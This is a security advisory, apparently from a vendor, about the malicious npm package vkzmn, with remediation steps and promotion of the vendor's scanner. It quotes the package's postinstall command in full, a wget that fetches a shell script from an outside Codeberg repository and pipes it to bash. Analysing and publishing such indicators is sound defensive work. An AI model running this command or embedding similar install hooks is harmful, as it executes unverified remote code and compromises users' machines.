vkzmnnpm
vkzmn is a confirmed malicious npm package (MAL-2026-6594) that executes malicious code on install (malicious versions 1.0.0, 1.0.1, 1.0.2…). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in vkzmn (npm)
What this malware does
package.json declares a postinstall lifecycle hook that runs wget https://codeberg.org/atilalogical/worm_teste/raw/branch/main/down_procwork.sh -O d.sh; bash d.sh, downloading a shell script from a mutable branch of an unrelated personal Codeberg repository named worm_teste and executing it via bash on the installer's machine at npm install time. The fetched script is unpinned (mutable main branch), unverified (no hash/signature check), and from a destination that bears no relationship to any declared package purpose — the source repository name itself indicates worm/propagation testing. Whatever bytes the repository owner serves at fetch time execute with the privileges of the user running npm install. The package additionally declares a self-referential dependency (vkzmn: ^1.0.4), consistent with propagation scaffolding rather than a legitimate library.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Malicious packageFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for vkzmn (9 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging vkzmn across your stack and pipelines.
If you installed it — respond
Remove vkzmn from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If vkzmn was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks vkzmn before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks vkzmn-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.